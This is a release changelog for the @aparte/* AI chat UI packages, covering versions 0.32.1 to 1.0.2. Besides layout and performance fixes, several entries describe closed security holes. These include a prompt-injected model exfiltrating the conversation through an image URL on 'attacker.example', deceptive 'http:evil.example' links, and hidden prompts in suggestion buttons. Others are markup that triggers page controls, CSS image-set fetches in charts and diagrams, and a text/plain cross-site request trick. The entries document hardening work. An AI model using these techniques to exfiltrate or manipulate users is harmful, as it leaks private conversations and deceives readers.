Skip to content

All versions since 0.32.1

On this page

0.32.1

Every @aparte/* package ships at this version (they are released in lockstep).

Patch Changes

  • 79bc1d4: Right-to-left fixes: the send arrow points left, a framework chat’s transcript follows a right-to-left locale, and an approval’s arguments read left to right.

    Found by a second right-to-left audit in a real browser (Chromium and WebKit):

    • The send button’s arrow points to the left in a right-to-left composer. The stop square and the submit check are not turned. The button says which act it shows (data-act="send", "submit" or "stop"), and only the send glyph is mirrored, whichever icon getIcon('send') returns.
    • With locale.direction: 'rtl' on a left-to-right page, a React, Vue, Svelte or Angular chat turned its composer and left its messages left to right. The transcript now turns too.
    • The approval panel’s arguments JSON read right to left (} on the first line) once the composer showed the panel. It reads left to right, like all code.
    • The model’s words in a question or approval panel (the question, titles, descriptions, options, step labels) and a citation’s title, domain and snippet read in their own direction (dir="auto"), as a message does: an English question in an Arabic page read ”?Which colour”.
    • The citation card takes the transcript’s direction, and its previous and next arrows point outward.
    • The context gauge’s panel no longer runs off the left edge of a right-to-left page.
    • A top or bottom tooltip (the aparte-tooltip recipe) is centred on its anchor in a right-to-left page; it sat wholly to the side.
    • The arrow keys of the question panel’s step tabs and of the artifact card’s tabs move to the next tab in the reading direction.
    • The skeleton’s sweep enters at the start edge, as the shimmer’s does. @aparte/core, @aparte/plugin-artifacts

Version-only bumps (no changes of their own): @aparte/engine, @aparte/runner-ag-ui, @aparte/runner-n8n, @aparte/provider-ai-sdk, @aparte/provider-openai-compat, @aparte/provider-scenario, @aparte/provider-transformers, @aparte/plugin-approval, @aparte/plugin-ask-user, @aparte/plugin-cards, @aparte/plugin-chartjs, @aparte/plugin-compaction, @aparte/plugin-echarts, @aparte/plugin-katex, @aparte/plugin-marked, @aparte/plugin-mermaid, @aparte/plugin-model-selector, @aparte/plugin-shiki, @aparte/plugin-storage-idb, @aparte/plugin-streaming-markdown, @aparte/plugin-titler, @aparte/angular, @aparte/react, @aparte/svelte, @aparte/vue, @aparte/locales, @aparte/docs-mcp.

1.0.0

Every @aparte/* package ships at this version (they are released in lockstep).

Major Changes

  • 26ddd6c: Upgrade every @aparte/* package to 1.0.0 together, then follow Upgrading to 1.0 for what to change. From 1.0.0 on, the declared surface keeps its names, and what they do, until 2.0.

    • What most apps change. A picture a model or a tool chose waits for a click unless aparteGlobalConfig.setImagePolicy allows where it comes from. The names the beta marked deprecated are removed. A CompactionTarget needs updateMessage.
    • What is frozen. Elements and the attributes they document, event names, the functions, classes and constants each package’s main entry exports, the keys of AparteLocale and the --aparte-* token names — and what each one’s documentation says it does, its defaults included. A frozen name leaves only after a notice in a minor, in the next major. Stability lists every name, and what is not frozen: methods, interface fields, type names, class names, how a default looks.
    • Peer ranges. Every package that builds on @aparte/core asks for it at >=1.0.0 <2.0.0, so a 0.x package beside a 1.x one is a peer conflict your package manager reports.
    • Security. Only the latest 1.x release receives security fixes. SECURITY.md says how to report a vulnerability and how soon you hear back. @aparte/core
  • 224afde: Everything marked deprecated is removed. If your code uses none of the names below, nothing changes; otherwise replace each one as its line says.

    • <aparte-context auto-compact>, deprecated in 0.26.0: remove the attribute. The gauge no longer asks for a compaction; @aparte/plugin-compaction compacts by itself once it is set up (past 80 % of the window by default).
    • The compactionSummaryTitle locale key, deprecated in 0.26.0: remove it from your locale. Nothing has read it since 0.26.0, and the nine locales of @aparte/locales no longer carry it.
    • The window field of an aparte-compact request’s detail, read “for one more release” since 0.26.0: give setupCompaction a contextWindow instead, or let the model declare its window.
    • The viewport’s clearMessages(), deprecated since 0.4.0: call clearAll(), which also removes the bubbles. clearMessages() on <aparte-chat>, on the framework components and on the imperative API is unchanged.
    • AparteMessageBranch and the branches / activeBranchIndex fields of AparteMessage, deprecated since 0.4.0 and read by nothing: branches are the message tree (addSiblingOf, navigateBranch, aparte-path-changed).
    • AparteCodeSegment.showLineNumbers and AparteErrorSegment.stack, deprecated in 0.19.3 and read by nothing: put a stack in details. @aparte/core, @aparte/locales
  • 67efebe: A picture a model or a tool chose no longer loads by itself: data: and blob: pictures do, and any other shows as a link naming its host until the reader clicks it. To load your own, call aparteGlobalConfig.setImagePolicy(['self', 'https://cdn.example.com']); ['*'] loads every picture, as before.

    • Why. A picture fetches its address the moment it is shown, before anyone reads the reply, and a prompt-injected model can write the conversation into that address: ![](https://attacker.example/c.png?d=…) sent it, the reader’s IP and their browser to that host with no click — while the reply streamed, and again each time the conversation was shown. The page’s own site is not trusted by default either: its pictures carry the reader’s cookies (![](/api/logout)), and an open redirect on it turns a picture from the site into a picture from anywhere.
    • In a reply. A held picture is a small link that says where it would load from (inside a link of the reply’s own, a button, so that link stays whole). A click loads it in place, and the chat remembers the choice; a click with a modifier key is left to the browser, as for any link. config.sanitizeHtml applies the policy after whichever sanitizer is set, so DOMPurify or your own keeps it, and @aparte/plugin-streaming-markdown applies it before any src is set, so nothing is fetched while a reply streams. A picture’s own address decides; of its srcset, only the candidates that load are kept, written again so a browser can only pick an address that was judged.
    • In a card. @aparte/plugin-cards draws a card without the pictures the policy held, and one “Show images” button with every host they would load from beside it; pressing it draws them. A card of your own asks through ctx.image(src, props) and ctx.loads(url).
    • The rule. setImagePolicy takes a list ('self', '*', origins) or a function (url) => 'load' | 'hold' | 'drop'. config.decideImage(url) answers for a plugin that draws pictures itself, and config.showImage(url) records the reader’s choice. Every picture that loads goes with referrerpolicy="no-referrer". A CSP img-src is the stronger rule beside it: it also checks where a redirect leads.
    • Two locale keys, imageLoad and imageLoadNamed, name a held picture; @aparte/locales carries them in its nine languages.
    • The console says why. Until the app names a policy, the first picture held on a page writes one note in the console, with its host and the line to add; setImagePolicy([]) keeps the default and silences it. @aparte/core, @aparte/plugin-cards, @aparte/plugin-streaming-markdown, @aparte/locales
  • f5080e9: A CompactionTarget must have updateMessage, and the type now says so; clearAll and appendMessage leave it. The window of an aparte-compact request is no longer read: set contextWindow.

    Since 0.26.0 a compaction writes one checkpoint through updateMessage and calls nothing else, so a target without it already failed at run time (“This chat cannot hold a checkpoint”) while the type called it optional. The window a context gauge sent with its request was read as a last resort “for one more release” from 0.26.0; the gauge no longer sends one. @aparte/plugin-compaction

Patch Changes

  • e97d464: A link a model writes with an explicit scheme and no slash, [docs](http:evil.example/x), now opens in a new tab like any other external link, and a target="_self" on it is ignored.

    On an https page that URL resolves to http://evil.example/x, but it was treated as same-site and navigated the frame the chat lives in (in Electron, the whole app). Any link starting with http: or https: is now external, in the built-in sanitizer and in the live streamed link of @aparte/plugin-streaming-markdown. A same-site link spelled https:/path goes to a new tab too, which is harmless. @aparte/core, @aparte/plugin-streaming-markdown

  • 0a6dd91: A segment streamed with appendToSegment now ends with its whole text when the bubble stops streaming; its last characters (a full stop after bold text, for one) were never drawn.

    A text segment written to with no isStreaming flag goes through the incremental Markdown parser, which holds back what may still open a token until it is told the text is complete. When a stream driven by hand ended by removing the bubble’s streaming attribute, nothing told the segment, so its held-back tail never showed and the settle pass that re-renders the message through the sanitised one-shot renderer never ran. The bubble now marks every segment it was still writing as finished when it stops streaming. A segment its writer already settled (updateSegment(id, { isStreaming: false })) and a segment set whole are left as they are. @aparte/core

  • 635f69b: A reply button the model wrote in a suggestions block now sends the text on its button: a prompt in a { "label", "prompt" } reply is ignored. A card’s actions now receives who wrote the card as actions(data, { origin }).

    • @aparte/core — a block such as {"label": "No, cancel", "prompt": "Yes, I confirm the transfer"} showed “No, cancel” and sent the hidden prompt as the person’s message. The block is model text, so <aparte-suggestions answers> now sends the label of each reply and never its prompt (even a prompt that begins with the label can go on to say the opposite), and drops a reply whose label is not what the person reads: blank; longer than 100 characters; or holding a character that draws nothing or reorders the words (bidi controls, zero-width and tag characters, variation selectors, a joiner or variation selector between letters of a script that is not written with them, five non-spacing marks in a row). Runs of spaces collapse to one, the chip wraps a long label instead of running past the chat, and what is sent is exactly the text on the chip. Emoji sequences with joiners (including 🏳️‍🌈, ❤️‍🔥 and 👁️‍🗨️, written with a variation selector before the joiner), keycaps, the England, Scotland and Wales flags, Persian half-spaces, Indic, Sinhala and Burmese words and accents are kept. A joiner is kept only inside an emoji sequence or between letters of a script written with joiners, so none can hide text between the letters of an English label. A reply that is dropped is named once in the console. A click on a reply does nothing while a question holds the composer (it used to answer the question with the option the model had preselected) or while a reply is streaming (it used to stop it), and it sends its own text without taking what the person was typing or the files they had attached. A click the composer refuses (disabled, no model chosen yet) leaves the field as it was, and a second chip does not send while the first one is on its way. If your backend relied on a hidden prompt in a block, write the replies in the suggestions attribute or property of the element instead: a page’s own suggestions keeps its free label/prompt split.
    • @aparte/plugin-cards — actions takes a second argument, { origin }, and the aparte-card-action event carries detail.origin: 'tool' for the result of a tool your app runs, 'segment' for a card segment your app added, and 'fence' for a card the model wrote as a card-<name> code block in its answer. A card of the model’s own ('fence') draws only the links among its actions: an action carrying an id is not drawn, since your aparte-card-action listener would run it with a label and data the model chose; the buttons you give it through actions are drawn. A send built from the fields of a 'fence' card is a message the model chose for the person, so keep it fixed there, or give the button an id and decide in the listener. The guide’s example no longer builds send from the card’s location. New types: CardOrigin, CardActionsContext. @aparte/core, @aparte/plugin-cards
  • 2e5c5ab: npm descriptions, keywords and READMEs now say what the packages do: your backend, tool calls, interactive cards. No code change; the Svelte deprecation notes no longer promise a move to @aparte/svelte/legacy.

    • @aparte/core — a new description and six more keywords (generative-ui, tool-ui, agent-ui, chat-widget, openai-compatible, assistant). Its README opens with the picture of a reply and lists the launcher, citations, maths, diagrams, charts and suggestions. It also ships a short llms.txt that points to the full text on apartejs.dev.
    • @aparte/react, @aparte/vue, @aparte/svelte, @aparte/angular — the description now starts with the category (“React AI chat component…”) instead of “wrapper for aparté”.
    • @aparte/plugin-cards — the description names all eleven kinds of card; lists (items) was missing.
    • @aparte/engine — the README keeps what the package does for a user and drops the history of how the loop moved.

    The monorepo README gets the same opening and the picture, lists @aparte/plugin-storage-idb, the six templates and the agent runners, and links the guides on apartejs.dev. @aparte/core, @aparte/engine, @aparte/plugin-cards, @aparte/angular, @aparte/react, @aparte/svelte, @aparte/vue

  • 99fcc42: The scroll rail now follows the reader through long replies, is a single Tab stop, and no longer slows a streaming reply in a long conversation.

    • The current mark follows the reader. It stayed on the last question while the reader scrolled up through long replies (seven questions up, in Chromium), and one question behind once the layout settled after a scroll. The reading band now watches the replies too, and a reply in it is read under its question.
    • One Tab stop. Every tick was a button in the tab order: 500 of them between the transcript and the composer of a 1000-message conversation. The rail now takes one, the current tick; the arrow keys, Home and End move inside it.
    • A streaming reply no longer rebuilds the rail. It reconciled every tick once a frame: 10.8 ms a frame at 500 questions. It now rebuilds when bubbles come or go, once per reply, and a message whose text changes re-names only its own tick.
    • A tick that stays is not moved. At the viewport’s 1000-bubble cap, each turn removed and re-inserted every tick, and a focused tick lost the focus.
    • The pitch loosens again. After a long conversation, a short one kept ticks 6px apart where 24px fit.
    • A bubble whose message-id or data-role changes in place is followed, and keeps the mark.
    • jumpTo() with a reply’s id marks the question it answers, as the scroll does. @aparte/core
  • e97d464: Markdown a model writes can no longer carry the attributes core reads as controls, and <input> in a reply is limited to a disabled checkbox. Your code needs a change only if a custom segment renderer, a tool details string or a custom sanitizer’s output relied on those attributes (below), or if a reply was meant to carry a text field or a role such as textbox.

    What now does nothing, and where it can touch your code:

    • A control carrying data-aparte-dialog-open, data-aparte-dialog-close, data-aparte-sidebar-toggle, data-aparte-split-pane or data-aparte-launcher-close is ignored when it sits inside a message’s content: a custom segment renderer, a tool renderer, a reply. Controls your page places (a header button, a dialog’s own Close) work as before. The @aparte/core component pages for the dialog, sidebar, split and launcher say so.
    • A tool display’s details string goes through the sanitizer, so data-action, data-segment-id, the reserved attributes below and a widget role are stripped from it.
    • A card outside any chat on a page with two or more composers no longer sends: it warns instead of picking one. With exactly one composer, or inside a chat, it sends as before.
    • @aparte/core — the built-in sanitizer drops these attributes from provider output: every data-aparte-dialog-*, data-aparte-sidebar-* and data-checkpoint-*, plus data-aparte-chat, -host, -theme, -suggestions, -split-pane, -launcher-close, -bubble, -empty, -panel, -panel-host, -card-part, data-segment-id and data-action. Other data-* attributes (data-line, data-aparte-open for a formula still streaming, data-aparte-highlighted) are kept. A sanitizer you register yourself replaces this list, which is why the listeners above check where the click started as well.

    Before, a reply could carry <span data-aparte-dialog-open="delete-account"> and open your <dialog> on a click, toggle any sidebar by id, switch a split’s pane, close the launcher or a dialog the chat sits in, press a compaction checkpoint’s Restore without its confirm step, or wrap a card in <div data-aparte-chat> to restyle it or redirect its button to another chat. A test reads core’s source (hyphenated names and dataset reads) so a new attribute cannot be forgotten.

    • @aparte/core — a widget role (textbox, button, link, checkbox, switch, tab, tablist, menu, menuitem, dialog, combobox, listbox, grid, slider, toolbar, progressbar, tabpanel…) is dropped from model markup, alone or in a list; every other role stays (region, group, status, alert, math, meter, term, doc-*, note, figure, list, table, heading…), since those describe structure and do nothing. <a role="textbox"> used to take the launcher’s focus on open, ahead of the composer; the launcher now ignores text in a reply when it looks for the composer.
    • @aparte/core — <input> is dropped unless it is type="checkbox" (a GFM task list); a kept checkbox is rewritten to type="checkbox" and disabled, so a padded type="checkbox " cannot render as a text box. <input type="password" title="API key"> used to leave an editable box in the reply. Without a DOM parser (Node, SSR, a Worker) the sanitizer reads each tag the way a browser’s tokenizer does and applies the same attribute rule as in a browser, so a server render drops the same attributes (the reserved data-*, widget roles, aparte- classes, layout styles, ids) and keeps the same task-list checkbox, rebuilt as <input type="checkbox" disabled> (checked or not, with its class), where a browser would; an attribute value is judged after its numeric entities are decoded and written back escaped. Comments and other <! / <? declarations are dropped, as in a browser, and a tag left open at the end of the text is dropped.
    • @aparte/core — a button inside a checkpoint’s summary panel no longer restores. resolveConfig skips a [data-aparte-host] element that no attachConfig bound, so content inside one keeps the chat’s own config instead of the page’s. The sidebar and split no longer stamp aria-expanded / aria-pressed on such text.
    • @aparte/plugin-cards — a card’s send button looks for its composer from above the bubble, so a <div data-aparte-chat> in the reply cannot redirect it to another chat.
    • @aparte/plugin-katex, @aparte/plugin-artifacts — the formula pacing key is the segment row (.aparte-segments > [data-segment-id]), and the binary-file card honours data-action="download" only on its own button, not in a converter’s previewHtml.
    • @aparte/core — without a DOM parser (Node, SSR, a Worker) the sanitizer is a single linear pass: a stray < comes out as &lt;, so text left beside a dropped tag can no longer spell a new one (<<x>script>); a quote inside an attribute value is written as &#39;; a comment ends where a browser ends it; and a dangerous element (script, svg, form, iframe…) takes everything up to its end tag, or the rest of the text when it is never closed, as it does in a browser. Long hostile input no longer costs quadratic time.
    • @aparte/core — a srcset made of a very long run of letters (100 000 characters) no longer stalls the page for seconds, in a browser or without a DOM; the scheme check now starts only at the beginning of a candidate, so its cost grows in proportion to the length. @aparte/core, @aparte/plugin-artifacts, @aparte/plugin-cards, @aparte/plugin-katex
  • 048864d: The agent and chat handlers now refuse a request whose Content-Type is not application/json (415), and prepareRequest can now remove a server tool for good.

    If you call createAparteAgentHandler or createAparteChatHandler from AparteBackendTransport, createAgentStreamRunner or any fetch that sets Content-Type: application/json, nothing changes. A caller that posts the JSON body without that header (a bare fetch(url, { body: JSON.stringify(...) }) sends text/plain) must add it. A content-type you pass in the headers option of AparteBackendTransport or createAgentStreamRunner, in any case, replaces the library’s one instead of being joined to it (application/json, application/json was refused). The check runs before authorize, and it closes a cross-site hole: an HTML form with enctype="text/plain" can post a body that parses as JSON, with your visitor’s cookie, without a preflight, and the handler used to run it.

    • New option allowedOrigins on both handlers: a request carrying any other Origin header is refused with 403, before authorize. A request with no Origin (a server, curl) is left to authorize. It is off by default. For a cookie session, also set the cookie SameSite=Lax or Strict. The server-loop and backend-transport guides say so.
    • createAparteAgentHandler runs a tool only if the request returned by prepareRequest still lists it. A tool you remove from request.tools (say admin_wipe, for a user who is not an admin) used to run anyway when the model named it, because local and compatible models can emit any name; it is now refused as a tool with no handler. A tool you leave in place runs as before.
    • A continuation ticket now has exactly one spelling. The last character of the 43-character signature carries two bits the decoder ignored, so four different strings verified as the same ticket, and an onTicket single-use check keyed on the text counted four tickets and let an approved tool run four times. A ticket whose signature or payload is not the canonical base64url encoding is refused with the same 400 as any invalid ticket. Tickets your server signed are canonical, so none of them is affected. @aparte/core
  • 99784ad: setMessages draws a long conversation several times faster: 500 messages took 2.8 s and now take under 0.4 s in Chromium.

    Each message the call appended measured the transcript’s bottom spacer, and each person’s message started a smooth scroll; both forced a layout of the whole transcript, once per message. The call now appends every message and does that work once, at the end. A conversation set whole still ends scrolled to its last message, without gliding through every turn on the way. @aparte/core

  • f6715cd: A Chat node’s buttons are now shown only when their links resume the running execution, and an n8n error frame no longer puts the workflow’s own words in front of the person.

    Buttons are shown when every link, resolved once against webhookUrl, is http(s), on the webhook’s origin, and has exactly the shape n8n sends: <mount>/webhook-waiting/<execution id>/<node id>?approved=true|false&signature=<64 hex digits>, with no other path segment, query parameter or fragment. The mount is what sits in front of the Chat Trigger’s /webhook/<id>/chat at the end of webhookUrl (https://site/n8n/webhook/abc/chat takes /n8n/webhook-waiting/…; a base path that itself holds a /webhook segment is read whole). A path that only holds the waiting segment further down, such as /rest/x/webhook-waiting/<id>, and a waiting link with no signature are not accepted. An instance that moved the waiting endpoint (N8N_ENDPOINT_WEBHOOK_WAIT), or whose webhookUrl does not end in /webhook/<id>/chat, sets the waitingPrefix option ('/n8n/webhook-waiting'); the links must then begin with <prefix>/<execution id>/<node id> and have the same query. If any link fails, no button is shown, onWarning is told (and names waitingPrefix), and the question is drawn as text.

    On n8n 2.x a Chat node’s message travels as plain text, so an answer written by a model could look like a buttons frame, and its relative link would be fetched from the host page. The ticket now stores the resolved absolute link, that link is what is fetched, and it is checked again when the turn resumes. A ticket whose links are not all strings is read as a new message.

    An answer that looks like n8n handing over to the chat socket ({ "executionStarted": true, … }) is now accepted only in the shape n8n sends: application/json, with exactly the fields executionStarted, executionId (a number) and resumeToken. Anything else carrying that field is shown as the workflow’s answer. A workflow that returns a model’s text as its body (a Respond to Webhook node set to Text) could otherwise name the execution and the token that the page opens its socket on.

    An error frame on the socket now fails the turn with “The n8n workflow failed.”; the frame’s message is passed to onWarning instead of being shown.

    The same holds for an error frame in the HTTP answer or stream: the turn fails with “The n8n workflow failed.” and the frame’s message goes to onWarning. A body that is only text cannot be told from an error frame, so a workflow answering with a model’s text could write one (with a begin frame before it) and have its words shown as the failure. The error text of a failed n8n execution is now in the console, not in the chat. @aparte/runner-n8n

  • 2e5c5ab: The READMEs of the plugins and the framework packages now show a picture of what they draw. No code changes: nothing to do on your side.

    Each plugin README that draws something (Markdown, maths, diagrams, both chart libraries, the approval modes, the question panel, artifacts, the model selector, code highlighting, compaction) shows its own demo, taken from the live docs (https://apartejs.dev/shots/<name>.png). The four framework packages show an assistant reply with a card, a formula and a chart. @aparte/plugin-approval, @aparte/plugin-artifacts, @aparte/plugin-ask-user, @aparte/plugin-chartjs, @aparte/plugin-compaction, @aparte/plugin-echarts, @aparte/plugin-katex, @aparte/plugin-marked, @aparte/plugin-mermaid, @aparte/plugin-model-selector, @aparte/plugin-shiki, @aparte/plugin-streaming-markdown, @aparte/angular, @aparte/react, @aparte/svelte, @aparte/vue

  • bf0b979: A Mermaid diagram with a node picture from a URL (A@{ img: "https://…" }) is no longer drawn: it shows its source, since drawing it sent a request to that address from the page. An inline data:image/… picture still draws.

    • @aparte/plugin-mermaid — Mermaid loads a node’s img: and a sequence actor’s icon in the page while it draws, before the plugin turns the SVG into an image, and securityLevel: 'strict' does not cover it. The plugin now asks Mermaid what it parsed (mermaid.mermaidAPI.getDiagramFromText, which draws nothing) and shows the source of a diagram holding a picture that is not data:image/…, however the source spelled it (a YAML anchor and alias, an escape, properties, or details reading an element of the page). So a sequence diagram that only says “properties” in a message, or a label that says “img”, is drawn. A mermaid object without mermaidAPI (your own, passed to setupMermaidWith) falls back to refusing on the text, which refuses those too. A style a diagram writes is read as well: a CSS url(, image-set(, cross-fade( or @import anywhere in the source, or a backslash escape in a source that styles something (classDef c mask-image:url(https://…) in a state or block diagram was fetched while the diagram was measured), shows the source. The diagrams page and the README no longer say that nothing in a diagram reaches the page without this.
    • @aparte/plugin-echarts — a colour string such as rgb( followed by thousands of spaces froze the tab for seconds: the colour check backtracked cubically (4 KB took 15 s). It is now linear, and a colour longer than 64 characters is dropped. A font value under any key with “font” in it (textFont, a toolbox icon’s textFontFamily…) that holds more than a font name is dropped, textFill / textStroke must be colours, and image-set(…) / cross-fade(…) in any string is refused: ;mask-image:image-set("https://…") made the browser fetch the picture as soon as the chart drew. A cursor (and a dataZoom’s cursorGrab / cursorGrabbing) that is not a keyword is dropped too: image-set("https://…") made the browser fetch the picture when the pointer passed over the chart. pointer, not-allowed and the other keywords are kept. A symbol written emptyImage://… is dropped like image://… (ECharts strips empty and then draws the picture), in a series, a legend icon, a dataZoom handle, a mark point or a decal. A chart fence that is only open brackets no longer takes seconds to read while it streams: reading what has arrived is linear (40,000 brackets took 5 s, on every frame).
    • @aparte/plugin-chartjs — a string in a dataset’s own tooltip.callbacks or in options.interaction (and external, filter, itemSort, an unknown position) is dropped like the chart’s top-level tooltip ones; it threw on every hover. A tooltip’s own interaction and plugins keys are dropped too (plugins.tooltip.interaction.external, plugins.tooltip.plugins.tooltip.callbacks): Chart.js resolves a tooltip option through them as well, and neither is an option of the tooltip. A config fence that is only open brackets is read in linear time while it streams (40,000 brackets took 5 s, on every frame).
    • @aparte/plugin-cards — the plan card read a step line in quadratic time when it held a long run of spaces (1 s for 50 000 characters); it is linear now, also for a line holding a lone carriage return, which used to throw. The titles it draws are unchanged. @aparte/plugin-cards, @aparte/plugin-chartjs, @aparte/plugin-echarts, @aparte/plugin-mermaid
  • 97ca78b: A diagram’s edge labels no longer look struck through: the line stops at the label.

    With SVG labels, Mermaid’s own stylesheet draws an edge label’s background at half opacity, so the edge ran through the words. The plugin now adds .edgeLabel rect { opacity: 1; } to the themeCSS it renders with, after any themeCSS you pass. The background is the colour a drawing sits on (--aparte-bg), so the label shows no box. @aparte/plugin-mermaid

  • 67efebe: A diagram’s labels can no longer load a picture: Mermaid’s sanitizer now refuses pictures, players, frames and styles in every label it writes as HTML, and a diagram’s %%{init}%% cannot lift that.

    An architecture service’s icon text is written as HTML even with HTML labels off, and Mermaid draws in the page to measure a diagram before the plugin turns it into an image, so service s1 "<img src=https://…>" fetched that address with no click. The rule goes through Mermaid’s own dompurifyConfig, which covers every such label rather than the one diagram type. @aparte/plugin-mermaid

  • 574884c: createAparteChat() and createConversationManager() are no longer marked deprecated: they stay, for the Svelte 4 component at the package root. On Svelte 5, start from @aparte/svelte/runes as before. @aparte/svelte

Version-only bumps (no changes of their own): @aparte/runner-ag-ui, @aparte/provider-ai-sdk, @aparte/provider-openai-compat, @aparte/provider-scenario, @aparte/provider-transformers, @aparte/plugin-storage-idb, @aparte/plugin-titler, @aparte/docs-mcp.

1.0.1

Every @aparte/* package ships at this version (they are released in lockstep).

Patch Changes

  • b9ecb6a: A streamed reply no longer shows raw Markdown, such as the ** of a bold, for a moment at the start of a text or reasoning block. Nothing to change in your code.

    Who saw it: apps on @aparte/plugin-marked/streaming, or on marked beside @aparte/plugin-streaming-markdown (the pair Getting started sets up). With @aparte/plugin-streaming-markdown alone the first chunk was already formatted. It lasted until the next chunk arrived: a reply opening on **Sure** flickered its asterisks, and a block whose first chunk was Done: **Book showed it as typed.

    Why: a new segment’s first chunk was drawn by the one-shot Markdown provider, which reads a half-written reply as finished text, and the streaming renderer (which closes what the model has not closed yet: remend for marked) only took over from the second chunk. The stream parser’s text carries no isStreaming flag, and a segment’s setup read that as finished, because a restored message’s segments carry none either. Now a text or reasoning segment flagged isStreaming: true is written by the streaming renderer from its first chunk; addSegment on a streaming bubble treats an unflagged one as arriving; and populateBubbleFromMessage flags the last segment of a message whose status is streaming. A segment set by hand with setSegments is still drawn as finished, and every segment drawn this way is settled when the message stops, as one written chunk by chunk always was. @aparte/core

Version-only bumps (no changes of their own): @aparte/engine, @aparte/runner-ag-ui, @aparte/runner-n8n, @aparte/provider-ai-sdk, @aparte/provider-openai-compat, @aparte/provider-scenario, @aparte/provider-transformers, @aparte/plugin-approval, @aparte/plugin-artifacts, @aparte/plugin-ask-user, @aparte/plugin-cards, @aparte/plugin-chartjs, @aparte/plugin-compaction, @aparte/plugin-echarts, @aparte/plugin-katex, @aparte/plugin-marked, @aparte/plugin-mermaid, @aparte/plugin-model-selector, @aparte/plugin-shiki, @aparte/plugin-storage-idb, @aparte/plugin-streaming-markdown, @aparte/plugin-titler, @aparte/angular, @aparte/react, @aparte/svelte, @aparte/vue, @aparte/locales, @aparte/docs-mcp.

1.0.2 Latest

Every @aparte/* package ships at this version (they are released in lockstep).

Patch Changes

  • d8a544c: Enter now sends what is written in a question’s text field or an approval’s instruction; Shift+Enter starts a new line in the instruction. Nothing to change in your code.

    Who saw it: anyone answering a panel from the keyboard. In an approval’s “Or tell it what to do instead…”, Enter added a line and sent nothing; in a question’s text box or its “Other…” field, it did nothing. The composer’s button was the only way out.

    Why: a panel takes the editor’s place, and the editor was the only thing listening for the key. The composer now listens on the panel too, and Enter there goes through submit(), so it follows the same gates as the button: nothing written, nothing sent; a panel put aside sends nothing.

    submit-on-enter="false" swaps the keys here as it does in the editor. A multi-line answer (multiline: true) keeps Enter for its next line. A panel of your own passed to showPanel() gets the same behaviour on its one-line fields; a field that handles Enter itself and calls preventDefault(), such as a combobox, keeps the key. @aparte/core

Version-only bumps (no changes of their own): @aparte/engine, @aparte/runner-ag-ui, @aparte/runner-n8n, @aparte/provider-ai-sdk, @aparte/provider-openai-compat, @aparte/provider-scenario, @aparte/provider-transformers, @aparte/plugin-approval, @aparte/plugin-artifacts, @aparte/plugin-ask-user, @aparte/plugin-cards, @aparte/plugin-chartjs, @aparte/plugin-compaction, @aparte/plugin-echarts, @aparte/plugin-katex, @aparte/plugin-marked, @aparte/plugin-mermaid, @aparte/plugin-model-selector, @aparte/plugin-shiki, @aparte/plugin-storage-idb, @aparte/plugin-streaming-markdown, @aparte/plugin-titler, @aparte/angular, @aparte/react, @aparte/svelte, @aparte/vue, @aparte/locales, @aparte/docs-mcp.